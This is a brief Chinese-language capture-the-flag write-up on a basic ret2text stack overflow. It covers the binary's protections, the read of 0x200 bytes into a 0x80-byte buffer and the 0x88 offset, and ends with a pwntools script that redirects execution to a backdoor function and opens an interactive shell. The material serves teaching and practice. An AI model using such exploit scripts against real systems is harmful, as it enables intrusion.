前言
依旧是基础的ret2text
保护模式
64位小端序,NX保护。
溢出点
主函数里没有溢出点,那么就看看主函数return时调用的vul函数(名字就已经明示你是漏洞了)。
进来就是一个单纯的溢出漏洞,read函数读取了0x200个字节,而输入点buf距离rbp只有0x80字节。
偏移计算
由上图:输入点buf距离rbp只有0x80字节,而rbp寄存器自身占用8字节,所以最终的偏移为0x80+8=0x88
后门函数
后门函数就更直白了
攻击脚本
from pwn import *
p=remote("ip",port)
payload=b'a'*0x88+p64(0x0400596)
p.sendline(payload)
p.interactive()